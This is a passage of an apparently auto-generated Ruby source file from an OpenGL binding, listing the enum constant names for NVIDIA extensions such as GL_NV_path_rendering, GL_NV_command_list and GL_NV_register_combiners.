'GL_GPU_MEMORY_INFO_EVICTION_COUNT_NVX',
'GL_GPU_MEMORY_INFO_EVICTED_MEMORY_NVX',
]
end # self.get_ext_enum_GL_NVX_gpu_memory_info
def self.get_ext_enum_GL_NV_bindless_multi_draw_indirect
[
]
end # self.get_ext_enum_GL_NV_bindless_multi_draw_indirect
def self.get_ext_enum_GL_NV_bindless_multi_draw_indirect_count
[
]
end # self.get_ext_enum_GL_NV_bindless_multi_draw_indirect_count
def self.get_ext_enum_GL_NV_bindless_texture
[
]
end # self.get_ext_enum_GL_NV_bindless_texture
def self.get_ext_enum_GL_NV_blend_equation_advanced
[
'GL_BLEND_OVERLAP_NV',
'GL_BLEND_PREMULTIPLIED_SRC_NV',
'GL_BLUE_NV',
'GL_COLORBURN_NV',
'GL_COLORDODGE_NV',
'GL_CONJOINT_NV',
'GL_CONTRAST_NV',
'GL_DARKEN_NV',
'GL_DIFFERENCE_NV',
'GL_DISJOINT_NV',
'GL_DST_ATOP_NV',
'GL_DST_IN_NV',
'GL_DST_NV',
'GL_DST_OUT_NV',
'GL_DST_OVER_NV',
'GL_EXCLUSION_NV',
'GL_GREEN_NV',
'GL_HARDLIGHT_NV',
'GL_HARDMIX_NV',
'GL_HSL_COLOR_NV',
'GL_HSL_HUE_NV',
'GL_HSL_LUMINOSITY_NV',
'GL_HSL_SATURATION_NV',
'GL_INVERT',
'GL_INVERT_OVG_NV',
'GL_INVERT_RGB_NV',
'GL_LIGHTEN_NV',
'GL_LINEARBURN_NV',
'GL_LINEARDODGE_NV',
'GL_LINEARLIGHT_NV',
'GL_MINUS_CLAMPED_NV',
'GL_MINUS_NV',
'GL_MULTIPLY_NV',
'GL_OVERLAY_NV',
'GL_PINLIGHT_NV',
'GL_PLUS_CLAMPED_ALPHA_NV',
'GL_PLUS_CLAMPED_NV',
'GL_PLUS_DARKER_NV',
'GL_PLUS_NV',
'GL_RED_NV',
'GL_SCREEN_NV',
'GL_SOFTLIGHT_NV',
'GL_SRC_ATOP_NV',
'GL_SRC_IN_NV',
'GL_SRC_NV',
'GL_SRC_OUT_NV',
'GL_SRC_OVER_NV',
'GL_UNCORRELATED_NV',
'GL_VIVIDLIGHT_NV',
'GL_XOR_NV',
'GL_ZERO',
]
end # self.get_ext_enum_GL_NV_blend_equation_advanced
def self.get_ext_enum_GL_NV_blend_equation_advanced_coherent
[
'GL_BLEND_ADVANCED_COHERENT_NV',
]
end # self.get_ext_enum_GL_NV_blend_equation_advanced_coherent
def self.get_ext_enum_GL_NV_blend_square
[
]
end # self.get_ext_enum_GL_NV_blend_square
def self.get_ext_enum_GL_NV_command_list
[
'GL_TERMINATE_SEQUENCE_COMMAND_NV',
'GL_NOP_COMMAND_NV',
'GL_DRAW_ELEMENTS_COMMAND_NV',
'GL_DRAW_ARRAYS_COMMAND_NV',
'GL_DRAW_ELEMENTS_STRIP_COMMAND_NV',
'GL_DRAW_ARRAYS_STRIP_COMMAND_NV',
'GL_DRAW_ELEMENTS_INSTANCED_COMMAND_NV',
'GL_DRAW_ARRAYS_INSTANCED_COMMAND_NV',
'GL_ELEMENT_ADDRESS_COMMAND_NV',
'GL_ATTRIBUTE_ADDRESS_COMMAND_NV',
'GL_UNIFORM_ADDRESS_COMMAND_NV',
'GL_BLEND_COLOR_COMMAND_NV',
'GL_STENCIL_REF_COMMAND_NV',
'GL_LINE_WIDTH_COMMAND_NV',
'GL_POLYGON_OFFSET_COMMAND_NV',
'GL_ALPHA_REF_COMMAND_NV',
'GL_VIEWPORT_COMMAND_NV',
'GL_SCISSOR_COMMAND_NV',
'GL_FRONT_FACE_COMMAND_NV',
]
end # self.get_ext_enum_GL_NV_command_list
def self.get_ext_enum_GL_NV_compute_program5
[
'GL_COMPUTE_PROGRAM_NV',
'GL_COMPUTE_PROGRAM_PARAMETER_BUFFER_NV',
]
end # self.get_ext_enum_GL_NV_compute_program5
def self.get_ext_enum_GL_NV_conditional_render
[
'GL_QUERY_WAIT_NV',
'GL_QUERY_NO_WAIT_NV',
'GL_QUERY_BY_REGION_WAIT_NV',
'GL_QUERY_BY_REGION_NO_WAIT_NV',
]
end # self.get_ext_enum_GL_NV_conditional_render
def self.get_ext_enum_GL_NV_conservative_raster
[
'GL_CONSERVATIVE_RASTERIZATION_NV',
'GL_SUBPIXEL_PRECISION_BIAS_X_BITS_NV',
'GL_SUBPIXEL_PRECISION_BIAS_Y_BITS_NV',
'GL_MAX_SUBPIXEL_PRECISION_BIAS_BITS_NV',
]
end # self.get_ext_enum_GL_NV_conservative_raster
def self.get_ext_enum_GL_NV_conservative_raster_dilate
[
'GL_CONSERVATIVE_RASTER_DILATE_NV',
'GL_CONSERVATIVE_RASTER_DILATE_RANGE_NV',
'GL_CONSERVATIVE_RASTER_DILATE_GRANULARITY_NV',
]
end # self.get_ext_enum_GL_NV_conservative_raster_dilate
def self.get_ext_enum_GL_NV_copy_depth_to_color
[
'GL_DEPTH_STENCIL_TO_RGBA_NV',
'GL_DEPTH_STENCIL_TO_BGRA_NV',
]
end # self.get_ext_enum_GL_NV_copy_depth_to_color
def self.get_ext_enum_GL_NV_copy_image
[
]
end # self.get_ext_enum_GL_NV_copy_image
def self.get_ext_enum_GL_NV_deep_texture3D
[
'GL_MAX_DEEP_3D_TEXTURE_WIDTH_HEIGHT_NV',
'GL_MAX_DEEP_3D_TEXTURE_DEPTH_NV',
]
end # self.get_ext_enum_GL_NV_deep_texture3D
def self.get_ext_enum_GL_NV_depth_buffer_float
[
'GL_DEPTH_COMPONENT32F_NV',
'GL_DEPTH32F_STENCIL8_NV',
'GL_FLOAT_32_UNSIGNED_INT_24_8_REV_NV',
'GL_DEPTH_BUFFER_FLOAT_MODE_NV',
]
end # self.get_ext_enum_GL_NV_depth_buffer_float
def self.get_ext_enum_GL_NV_depth_clamp
[
'GL_DEPTH_CLAMP_NV',
]
end # self.get_ext_enum_GL_NV_depth_clamp
def self.get_ext_enum_GL_NV_draw_texture
[
]
end # self.get_ext_enum_GL_NV_draw_texture
def self.get_ext_enum_GL_NV_evaluators
[
'GL_EVAL_2D_NV',
'GL_EVAL_TRIANGULAR_2D_NV',
'GL_MAP_TESSELLATION_NV',
'GL_MAP_ATTRIB_U_ORDER_NV',
'GL_MAP_ATTRIB_V_ORDER_NV',
'GL_EVAL_FRACTIONAL_TESSELLATION_NV',
'GL_EVAL_VERTEX_ATTRIB0_NV',
'GL_EVAL_VERTEX_ATTRIB1_NV',
'GL_EVAL_VERTEX_ATTRIB2_NV',
'GL_EVAL_VERTEX_ATTRIB3_NV',
'GL_EVAL_VERTEX_ATTRIB4_NV',
'GL_EVAL_VERTEX_ATTRIB5_NV',
'GL_EVAL_VERTEX_ATTRIB6_NV',
'GL_EVAL_VERTEX_ATTRIB7_NV',
'GL_EVAL_VERTEX_ATTRIB8_NV',
'GL_EVAL_VERTEX_ATTRIB9_NV',
'GL_EVAL_VERTEX_ATTRIB10_NV',
'GL_EVAL_VERTEX_ATTRIB11_NV',
'GL_EVAL_VERTEX_ATTRIB12_NV',
'GL_EVAL_VERTEX_ATTRIB13_NV',
'GL_EVAL_VERTEX_ATTRIB14_NV',
'GL_EVAL_VERTEX_ATTRIB15_NV',
'GL_MAX_MAP_TESSELLATION_NV',
'GL_MAX_RATIONAL_EVAL_ORDER_NV',
]
end # self.get_ext_enum_GL_NV_evaluators
def self.get_ext_enum_GL_NV_explicit_multisample
[
'GL_SAMPLE_POSITION_NV',
'GL_SAMPLE_MASK_NV',
'GL_SAMPLE_MASK_VALUE_NV',
'GL_TEXTURE_BINDING_RENDERBUFFER_NV',
'GL_TEXTURE_RENDERBUFFER_DATA_STORE_BINDING_NV',
'GL_TEXTURE_RENDERBUFFER_NV',
'GL_SAMPLER_RENDERBUFFER_NV',
'GL_INT_SAMPLER_RENDERBUFFER_NV',
'GL_UNSIGNED_INT_SAMPLER_RENDERBUFFER_NV',
'GL_MAX_SAMPLE_MASK_WORDS_NV',
]
end # self.get_ext_enum_GL_NV_explicit_multisample
def self.get_ext_enum_GL_NV_fence
[
'GL_ALL_COMPLETED_NV',
'GL_FENCE_STATUS_NV',
'GL_FENCE_CONDITION_NV',
]
end # self.get_ext_enum_GL_NV_fence
def self.get_ext_enum_GL_NV_fill_rectangle
[
'GL_FILL_RECTANGLE_NV',
]
end # self.get_ext_enum_GL_NV_fill_rectangle
def self.get_ext_enum_GL_NV_float_buffer
[
'GL_FLOAT_R_NV',
'GL_FLOAT_RG_NV',
'GL_FLOAT_RGB_NV',
'GL_FLOAT_RGBA_NV',
'GL_FLOAT_R16_NV',
'GL_FLOAT_R32_NV',
'GL_FLOAT_RG16_NV',
'GL_FLOAT_RG32_NV',
'GL_FLOAT_RGB16_NV',
'GL_FLOAT_RGB32_NV',
'GL_FLOAT_RGBA16_NV',
'GL_FLOAT_RGBA32_NV',
'GL_TEXTURE_FLOAT_COMPONENTS_NV',
'GL_FLOAT_CLEAR_COLOR_VALUE_NV',
'GL_FLOAT_RGBA_MODE_NV',
]
end # self.get_ext_enum_GL_NV_float_buffer
def self.get_ext_enum_GL_NV_fog_distance
[
'GL_FOG_DISTANCE_MODE_NV',
'GL_EYE_RADIAL_NV',
'GL_EYE_PLANE_ABSOLUTE_NV',
'GL_EYE_PLANE',
]
end # self.get_ext_enum_GL_NV_fog_distance
def self.get_ext_enum_GL_NV_fragment_coverage_to_color
[
'GL_FRAGMENT_COVERAGE_TO_COLOR_NV',
'GL_FRAGMENT_COVERAGE_COLOR_NV',
]
end # self.get_ext_enum_GL_NV_fragment_coverage_to_color
def self.get_ext_enum_GL_NV_fragment_program
[
'GL_MAX_FRAGMENT_PROGRAM_LOCAL_PARAMETERS_NV',
'GL_FRAGMENT_PROGRAM_NV',
'GL_MAX_TEXTURE_COORDS_NV',
'GL_MAX_TEXTURE_IMAGE_UNITS_NV',
'GL_FRAGMENT_PROGRAM_BINDING_NV',
'GL_PROGRAM_ERROR_STRING_NV',
]
end # self.get_ext_enum_GL_NV_fragment_program
def self.get_ext_enum_GL_NV_fragment_program2
[
'GL_MAX_PROGRAM_EXEC_INSTRUCTIONS_NV',
'GL_MAX_PROGRAM_CALL_DEPTH_NV',
'GL_MAX_PROGRAM_IF_DEPTH_NV',
'GL_MAX_PROGRAM_LOOP_DEPTH_NV',
'GL_MAX_PROGRAM_LOOP_COUNT_NV',
]
end # self.get_ext_enum_GL_NV_fragment_program2
def self.get_ext_enum_GL_NV_fragment_program4
[
]
end # self.get_ext_enum_GL_NV_fragment_program4
def self.get_ext_enum_GL_NV_fragment_program_option
[
]
end # self.get_ext_enum_GL_NV_fragment_program_option
def self.get_ext_enum_GL_NV_fragment_shader_interlock
[
]
end # self.get_ext_enum_GL_NV_fragment_shader_interlock
def self.get_ext_enum_GL_NV_framebuffer_mixed_samples
[
'GL_RASTER_MULTISAMPLE_EXT',
'GL_COVERAGE_MODULATION_TABLE_NV',
'GL_RASTER_SAMPLES_EXT',
'GL_MAX_RASTER_SAMPLES_EXT',
'GL_RASTER_FIXED_SAMPLE_LOCATIONS_EXT',
'GL_MULTISAMPLE_RASTERIZATION_ALLOWED_EXT',
'GL_EFFECTIVE_RASTER_SAMPLES_EXT',
'GL_COLOR_SAMPLES_NV',
'GL_DEPTH_SAMPLES_NV',
'GL_STENCIL_SAMPLES_NV',
'GL_MIXED_DEPTH_SAMPLES_SUPPORTED_NV',
'GL_MIXED_STENCIL_SAMPLES_SUPPORTED_NV',
'GL_COVERAGE_MODULATION_NV',
'GL_COVERAGE_MODULATION_TABLE_SIZE_NV',
]
end # self.get_ext_enum_GL_NV_framebuffer_mixed_samples
def self.get_ext_enum_GL_NV_framebuffer_multisample_coverage
[
'GL_RENDERBUFFER_COVERAGE_SAMPLES_NV',
'GL_RENDERBUFFER_COLOR_SAMPLES_NV',
'GL_MAX_MULTISAMPLE_COVERAGE_MODES_NV',
'GL_MULTISAMPLE_COVERAGE_MODES_NV',
]
end # self.get_ext_enum_GL_NV_framebuffer_multisample_coverage
def self.get_ext_enum_GL_NV_geometry_program4
[
'GL_LINES_ADJACENCY_EXT',
'GL_LINE_STRIP_ADJACENCY_EXT',
'GL_TRIANGLES_ADJACENCY_EXT',
'GL_TRIANGLE_STRIP_ADJACENCY_EXT',
'GL_GEOMETRY_PROGRAM_NV',
'GL_MAX_PROGRAM_OUTPUT_VERTICES_NV',
'GL_MAX_PROGRAM_TOTAL_OUTPUT_COMPONENTS_NV',
'GL_GEOMETRY_VERTICES_OUT_EXT',
'GL_GEOMETRY_INPUT_TYPE_EXT',
'GL_GEOMETRY_OUTPUT_TYPE_EXT',
'GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_LAYERED_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_LAYER_COUNT_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER_EXT',
'GL_PROGRAM_POINT_SIZE_EXT',
]
end # self.get_ext_enum_GL_NV_geometry_program4
def self.get_ext_enum_GL_NV_geometry_shader4
[
]
end # self.get_ext_enum_GL_NV_geometry_shader4
def self.get_ext_enum_GL_NV_geometry_shader_passthrough
[
]
end # self.get_ext_enum_GL_NV_geometry_shader_passthrough
def self.get_ext_enum_GL_NV_gpu_program4
[
'GL_MIN_PROGRAM_TEXEL_OFFSET_NV',
'GL_MAX_PROGRAM_TEXEL_OFFSET_NV',
'GL_PROGRAM_ATTRIB_COMPONENTS_NV',
'GL_PROGRAM_RESULT_COMPONENTS_NV',
'GL_MAX_PROGRAM_ATTRIB_COMPONENTS_NV',
'GL_MAX_PROGRAM_RESULT_COMPONENTS_NV',
'GL_MAX_PROGRAM_GENERIC_ATTRIBS_NV',
'GL_MAX_PROGRAM_GENERIC_RESULTS_NV',
]
end # self.get_ext_enum_GL_NV_gpu_program4
def self.get_ext_enum_GL_NV_gpu_program5
[
'GL_MAX_GEOMETRY_PROGRAM_INVOCATIONS_NV',
'GL_MIN_FRAGMENT_INTERPOLATION_OFFSET_NV',
'GL_MAX_FRAGMENT_INTERPOLATION_OFFSET_NV',
'GL_FRAGMENT_PROGRAM_INTERPOLATION_OFFSET_BITS_NV',
'GL_MIN_PROGRAM_TEXTURE_GATHER_OFFSET_NV',
'GL_MAX_PROGRAM_TEXTURE_GATHER_OFFSET_NV',
'GL_MAX_PROGRAM_SUBROUTINE_PARAMETERS_NV',
'GL_MAX_PROGRAM_SUBROUTINE_NUM_NV',
]
end # self.get_ext_enum_GL_NV_gpu_program5
def self.get_ext_enum_GL_NV_gpu_program5_mem_extended
[
]
end # self.get_ext_enum_GL_NV_gpu_program5_mem_extended
def self.get_ext_enum_GL_NV_gpu_shader5
[
'GL_INT64_NV',
'GL_UNSIGNED_INT64_NV',
'GL_INT8_NV',
'GL_INT8_VEC2_NV',
'GL_INT8_VEC3_NV',
'GL_INT8_VEC4_NV',
'GL_INT16_NV',
'GL_INT16_VEC2_NV',
'GL_INT16_VEC3_NV',
'GL_INT16_VEC4_NV',
'GL_INT64_VEC2_NV',
'GL_INT64_VEC3_NV',
'GL_INT64_VEC4_NV',
'GL_UNSIGNED_INT8_NV',
'GL_UNSIGNED_INT8_VEC2_NV',
'GL_UNSIGNED_INT8_VEC3_NV',
'GL_UNSIGNED_INT8_VEC4_NV',
'GL_UNSIGNED_INT16_NV',
'GL_UNSIGNED_INT16_VEC2_NV',
'GL_UNSIGNED_INT16_VEC3_NV',
'GL_UNSIGNED_INT16_VEC4_NV',
'GL_UNSIGNED_INT64_VEC2_NV',
'GL_UNSIGNED_INT64_VEC3_NV',
'GL_UNSIGNED_INT64_VEC4_NV',
'GL_FLOAT16_NV',
'GL_FLOAT16_VEC2_NV',
'GL_FLOAT16_VEC3_NV',
'GL_FLOAT16_VEC4_NV',
'GL_PATCHES',
]
end # self.get_ext_enum_GL_NV_gpu_shader5
def self.get_ext_enum_GL_NV_half_float
[
'GL_HALF_FLOAT_NV',
]
end # self.get_ext_enum_GL_NV_half_float
def self.get_ext_enum_GL_NV_internalformat_sample_query
[
'GL_RENDERBUFFER',
'GL_TEXTURE_2D_MULTISAMPLE',
'GL_TEXTURE_2D_MULTISAMPLE_ARRAY',
'GL_MULTISAMPLES_NV',
'GL_SUPERSAMPLE_SCALE_X_NV',
'GL_SUPERSAMPLE_SCALE_Y_NV',
'GL_CONFORMANT_NV',
]
end # self.get_ext_enum_GL_NV_internalformat_sample_query
def self.get_ext_enum_GL_NV_light_max_exponent
[
'GL_MAX_SHININESS_NV',
'GL_MAX_SPOT_EXPONENT_NV',
]
end # self.get_ext_enum_GL_NV_light_max_exponent
def self.get_ext_enum_GL_NV_multisample_coverage
[
'GL_SAMPLES_ARB',
'GL_COLOR_SAMPLES_NV',
]
end # self.get_ext_enum_GL_NV_multisample_coverage
def self.get_ext_enum_GL_NV_multisample_filter_hint
[
'GL_MULTISAMPLE_FILTER_HINT_NV',
]
end # self.get_ext_enum_GL_NV_multisample_filter_hint
def self.get_ext_enum_GL_NV_occlusion_query
[
'GL_PIXEL_COUNTER_BITS_NV',
'GL_CURRENT_OCCLUSION_QUERY_ID_NV',
'GL_PIXEL_COUNT_NV',
'GL_PIXEL_COUNT_AVAILABLE_NV',
]
end # self.get_ext_enum_GL_NV_occlusion_query
def self.get_ext_enum_GL_NV_packed_depth_stencil
[
'GL_DEPTH_STENCIL_NV',
'GL_UNSIGNED_INT_24_8_NV',
]
end # self.get_ext_enum_GL_NV_packed_depth_stencil
def self.get_ext_enum_GL_NV_parameter_buffer_object
[
'GL_MAX_PROGRAM_PARAMETER_BUFFER_BINDINGS_NV',
'GL_MAX_PROGRAM_PARAMETER_BUFFER_SIZE_NV',
'GL_VERTEX_PROGRAM_PARAMETER_BUFFER_NV',
'GL_GEOMETRY_PROGRAM_PARAMETER_BUFFER_NV',
'GL_FRAGMENT_PROGRAM_PARAMETER_BUFFER_NV',
]
end # self.get_ext_enum_GL_NV_parameter_buffer_object
def self.get_ext_enum_GL_NV_parameter_buffer_object2
[
]
end # self.get_ext_enum_GL_NV_parameter_buffer_object2
def self.get_ext_enum_GL_NV_path_rendering
[
'GL_PATH_FORMAT_SVG_NV',
'GL_PATH_FORMAT_PS_NV',
'GL_STANDARD_FONT_NAME_NV',
'GL_SYSTEM_FONT_NAME_NV',
'GL_FILE_NAME_NV',
'GL_PATH_STROKE_WIDTH_NV',
'GL_PATH_END_CAPS_NV',
'GL_PATH_INITIAL_END_CAP_NV',
'GL_PATH_TERMINAL_END_CAP_NV',
'GL_PATH_JOIN_STYLE_NV',
'GL_PATH_MITER_LIMIT_NV',
'GL_PATH_DASH_CAPS_NV',
'GL_PATH_INITIAL_DASH_CAP_NV',
'GL_PATH_TERMINAL_DASH_CAP_NV',
'GL_PATH_DASH_OFFSET_NV',
'GL_PATH_CLIENT_LENGTH_NV',
'GL_PATH_FILL_MODE_NV',
'GL_PATH_FILL_MASK_NV',
'GL_PATH_FILL_COVER_MODE_NV',
'GL_PATH_STROKE_COVER_MODE_NV',
'GL_PATH_STROKE_MASK_NV',
'GL_COUNT_UP_NV',
'GL_COUNT_DOWN_NV',
'GL_PATH_OBJECT_BOUNDING_BOX_NV',
'GL_CONVEX_HULL_NV',
'GL_BOUNDING_BOX_NV',
'GL_TRANSLATE_X_NV',
'GL_TRANSLATE_Y_NV',
'GL_TRANSLATE_2D_NV',
'GL_TRANSLATE_3D_NV',
'GL_AFFINE_2D_NV',
'GL_AFFINE_3D_NV',
'GL_TRANSPOSE_AFFINE_2D_NV',
'GL_TRANSPOSE_AFFINE_3D_NV',
'GL_UTF8_NV',
'GL_UTF16_NV',
'GL_BOUNDING_BOX_OF_BOUNDING_BOXES_NV',
'GL_PATH_COMMAND_COUNT_NV',
'GL_PATH_COORD_COUNT_NV',
'GL_PATH_DASH_ARRAY_COUNT_NV',
'GL_PATH_COMPUTED_LENGTH_NV',
'GL_PATH_FILL_BOUNDING_BOX_NV',
'GL_PATH_STROKE_BOUNDING_BOX_NV',
'GL_SQUARE_NV',
'GL_ROUND_NV',
'GL_TRIANGULAR_NV',
'GL_BEVEL_NV',
'GL_MITER_REVERT_NV',
'GL_MITER_TRUNCATE_NV',
'GL_SKIP_MISSING_GLYPH_NV',
'GL_USE_MISSING_GLYPH_NV',
'GL_PATH_ERROR_POSITION_NV',
'GL_ACCUM_ADJACENT_PAIRS_NV',
'GL_ADJACENT_PAIRS_NV',
'GL_FIRST_TO_REST_NV',
'GL_PATH_GEN_MODE_NV',
'GL_PATH_GEN_COEFF_NV',
'GL_PATH_GEN_COMPONENTS_NV',
'GL_PATH_STENCIL_FUNC_NV',
'GL_PATH_STENCIL_REF_NV',
'GL_PATH_STENCIL_VALUE_MASK_NV',
'GL_PATH_STENCIL_DEPTH_OFFSET_FACTOR_NV',
'GL_PATH_STENCIL_DEPTH_OFFSET_UNITS_NV',
'GL_PATH_COVER_DEPTH_FUNC_NV',
'GL_PATH_DASH_OFFSET_RESET_NV',
'GL_MOVE_TO_RESETS_NV',
'GL_MOVE_TO_CONTINUES_NV',
'GL_CLOSE_PATH_NV',
'GL_MOVE_TO_NV',
'GL_RELATIVE_MOVE_TO_NV',
'GL_LINE_TO_NV',
'GL_RELATIVE_LINE_TO_NV',
'GL_HORIZONTAL_LINE_TO_NV',
'GL_RELATIVE_HORIZONTAL_LINE_TO_NV',
'GL_VERTICAL_LINE_TO_NV',
'GL_RELATIVE_VERTICAL_LINE_TO_NV',
'GL_QUADRATIC_CURVE_TO_NV',
'GL_RELATIVE_QUADRATIC_CURVE_TO_NV',
'GL_CUBIC_CURVE_TO_NV',
'GL_RELATIVE_CUBIC_CURVE_TO_NV',
'GL_SMOOTH_QUADRATIC_CURVE_TO_NV',
'GL_RELATIVE_SMOOTH_QUADRATIC_CURVE_TO_NV',
'GL_SMOOTH_CUBIC_CURVE_TO_NV',
'GL_RELATIVE_SMOOTH_CUBIC_CURVE_TO_NV',
'GL_SMALL_CCW_ARC_TO_NV',
'GL_RELATIVE_SMALL_CCW_ARC_TO_NV',
'GL_SMALL_CW_ARC_TO_NV',
'GL_RELATIVE_SMALL_CW_ARC_TO_NV',
'GL_LARGE_CCW_ARC_TO_NV',
'GL_RELATIVE_LARGE_CCW_ARC_TO_NV',
'GL_LARGE_CW_ARC_TO_NV',
'GL_RELATIVE_LARGE_CW_ARC_TO_NV',
'GL_RESTART_PATH_NV',
'GL_DUP_FIRST_CUBIC_CURVE_TO_NV',
'GL_DUP_LAST_CUBIC_CURVE_TO_NV',
'GL_RECT_NV',
'GL_CIRCULAR_CCW_ARC_TO_NV',
'GL_CIRCULAR_CW_ARC_TO_NV',
'GL_CIRCULAR_TANGENT_ARC_TO_NV',
'GL_ARC_TO_NV',
'GL_RELATIVE_ARC_TO_NV',
'GL_BOLD_BIT_NV',
'GL_ITALIC_BIT_NV',
'GL_GLYPH_WIDTH_BIT_NV',
'GL_GLYPH_HEIGHT_BIT_NV',
'GL_GLYPH_HORIZONTAL_BEARING_X_BIT_NV',
'GL_GLYPH_HORIZONTAL_BEARING_Y_BIT_NV',
'GL_GLYPH_HORIZONTAL_BEARING_ADVANCE_BIT_NV',
'GL_GLYPH_VERTICAL_BEARING_X_BIT_NV',
'GL_GLYPH_VERTICAL_BEARING_Y_BIT_NV',
'GL_GLYPH_VERTICAL_BEARING_ADVANCE_BIT_NV',
'GL_GLYPH_HAS_KERNING_BIT_NV',
'GL_FONT_X_MIN_BOUNDS_BIT_NV',
'GL_FONT_Y_MIN_BOUNDS_BIT_NV',
'GL_FONT_X_MAX_BOUNDS_BIT_NV',
'GL_FONT_Y_MAX_BOUNDS_BIT_NV',
'GL_FONT_UNITS_PER_EM_BIT_NV',
'GL_FONT_ASCENDER_BIT_NV',
'GL_FONT_DESCENDER_BIT_NV',
'GL_FONT_HEIGHT_BIT_NV',
'GL_FONT_MAX_ADVANCE_WIDTH_BIT_NV',
'GL_FONT_MAX_ADVANCE_HEIGHT_BIT_NV',
'GL_FONT_UNDERLINE_POSITION_BIT_NV',
'GL_FONT_UNDERLINE_THICKNESS_BIT_NV',
'GL_FONT_HAS_KERNING_BIT_NV',
'GL_ROUNDED_RECT_NV',
'GL_RELATIVE_ROUNDED_RECT_NV',
'GL_ROUNDED_RECT2_NV',
'GL_RELATIVE_ROUNDED_RECT2_NV',
'GL_ROUNDED_RECT4_NV',
'GL_RELATIVE_ROUNDED_RECT4_NV',
'GL_ROUNDED_RECT8_NV',
'GL_RELATIVE_ROUNDED_RECT8_NV',
'GL_RELATIVE_RECT_NV',
'GL_FONT_GLYPHS_AVAILABLE_NV',
'GL_FONT_TARGET_UNAVAILABLE_NV',
'GL_FONT_UNAVAILABLE_NV',
'GL_FONT_UNINTELLIGIBLE_NV',
'GL_CONIC_CURVE_TO_NV',
'GL_RELATIVE_CONIC_CURVE_TO_NV',
'GL_FONT_NUM_GLYPH_INDICES_BIT_NV',
'GL_STANDARD_FONT_FORMAT_NV',
'GL_2_BYTES_NV',
'GL_3_BYTES_NV',
'GL_4_BYTES_NV',
'GL_EYE_LINEAR_NV',
'GL_OBJECT_LINEAR_NV',
'GL_CONSTANT_NV',
'GL_PATH_FOG_GEN_MODE_NV',
'GL_PRIMARY_COLOR',
'GL_PRIMARY_COLOR_NV',
'GL_SECONDARY_COLOR_NV',
'GL_PATH_GEN_COLOR_FORMAT_NV',
'GL_PATH_PROJECTION_NV',
'GL_PATH_MODELVIEW_NV',
'GL_PATH_MODELVIEW_STACK_DEPTH_NV',
'GL_PATH_MODELVIEW_MATRIX_NV',
'GL_PATH_MAX_MODELVIEW_STACK_DEPTH_NV',
'GL_PATH_TRANSPOSE_MODELVIEW_MATRIX_NV',
'GL_PATH_PROJECTION_STACK_DEPTH_NV',
'GL_PATH_PROJECTION_MATRIX_NV',
'GL_PATH_MAX_PROJECTION_STACK_DEPTH_NV',
'GL_PATH_TRANSPOSE_PROJECTION_MATRIX_NV',
'GL_FRAGMENT_INPUT_NV',
]
end # self.get_ext_enum_GL_NV_path_rendering
def self.get_ext_enum_GL_NV_path_rendering_shared_edge
[
'GL_SHARED_EDGE_NV',
]
end # self.get_ext_enum_GL_NV_path_rendering_shared_edge
def self.get_ext_enum_GL_NV_pixel_data_range
[
'GL_WRITE_PIXEL_DATA_RANGE_NV',
'GL_READ_PIXEL_DATA_RANGE_NV',
'GL_WRITE_PIXEL_DATA_RANGE_LENGTH_NV',
'GL_READ_PIXEL_DATA_RANGE_LENGTH_NV',
'GL_WRITE_PIXEL_DATA_RANGE_POINTER_NV',
'GL_READ_PIXEL_DATA_RANGE_POINTER_NV',
]
end # self.get_ext_enum_GL_NV_pixel_data_range
def self.get_ext_enum_GL_NV_point_sprite
[
'GL_POINT_SPRITE_NV',
'GL_COORD_REPLACE_NV',
'GL_POINT_SPRITE_R_MODE_NV',
]
end # self.get_ext_enum_GL_NV_point_sprite
def self.get_ext_enum_GL_NV_present_video
[
'GL_FRAME_NV',
'GL_FIELDS_NV',
'GL_CURRENT_TIME_NV',
'GL_NUM_FILL_STREAMS_NV',
'GL_PRESENT_TIME_NV',
'GL_PRESENT_DURATION_NV',
]
end # self.get_ext_enum_GL_NV_present_video
def self.get_ext_enum_GL_NV_primitive_restart
[
'GL_PRIMITIVE_RESTART_NV',
'GL_PRIMITIVE_RESTART_INDEX_NV',
]
end # self.get_ext_enum_GL_NV_primitive_restart
def self.get_ext_enum_GL_NV_register_combiners
[
'GL_REGISTER_COMBINERS_NV',
'GL_VARIABLE_A_NV',
'GL_VARIABLE_B_NV',
'GL_VARIABLE_C_NV',
'GL_VARIABLE_D_NV',
'GL_VARIABLE_E_NV',
'GL_VARIABLE_F_NV',
'GL_VARIABLE_G_NV',
'GL_CONSTANT_COLOR0_NV',
'GL_CONSTANT_COLOR1_NV',
'GL_PRIMARY_COLOR_NV',
'GL_SECONDARY_COLOR_NV',
'GL_SPARE0_NV',
'GL_SPARE1_NV',
'GL_DISCARD_NV',
'GL_E_TIMES_F_NV',
'GL_SPARE0_PLUS_SECONDARY_COLOR_NV',
'GL_UNSIGNED_IDENTITY_NV',
'GL_UNSIGNED_INVERT_NV',
'GL_EXPAND_NORMAL_NV',
'GL_EXPAND_NEGATE_NV',
'GL_HALF_BIAS_NORMAL_NV',
'GL_HALF_BIAS_NEGATE_NV',
'GL_SIGNED_IDENTITY_NV',
'GL_SIGNED_NEGATE_NV',
'GL_SCALE_BY_TWO_NV',
'GL_SCALE_BY_FOUR_NV',
'GL_SCALE_BY_ONE_HALF_NV',
'GL_BIAS_BY_NEGATIVE_ONE_HALF_NV',
'GL_COMBINER_INPUT_NV',
'GL_COMBINER_MAPPING_NV',
'GL_COMBINER_COMPONENT_USAGE_NV',
'GL_COMBINER_AB_DOT_PRODUCT_NV',
'GL_COMBINER_CD_DOT_PRODUCT_NV',
'GL_COMBINER_MUX_SUM_NV',
'GL_COMBINER_SCALE_NV',
'GL_COMBINER_BIAS_NV',
'GL_COMBINER_AB_OUTPUT_NV',
'GL_COMBINER_CD_OUTPUT_NV',
'GL_COMBINER_SUM_OUTPUT_NV',
'GL_MAX_GENERAL_COMBINERS_NV',
'GL_NUM_GENERAL_COMBINERS_NV',
'GL_COLOR_SUM_CLAMP_NV',
'GL_COMBINER0_NV',
'GL_COMBINER1_NV',
'GL_COMBINER2_NV',
'GL_COMBINER3_NV',
'GL_COMBINER4_NV',
'GL_COMBINER5_NV',
'GL_COMBINER6_NV',
'GL_COMBINER7_NV',
'GL_TEXTURE0_ARB',
'GL_TEXTURE1_ARB',
'GL_ZERO',
'GL_NONE',
'GL_FOG',
]
end # self.get_ext_enum_GL_NV_register_combiners
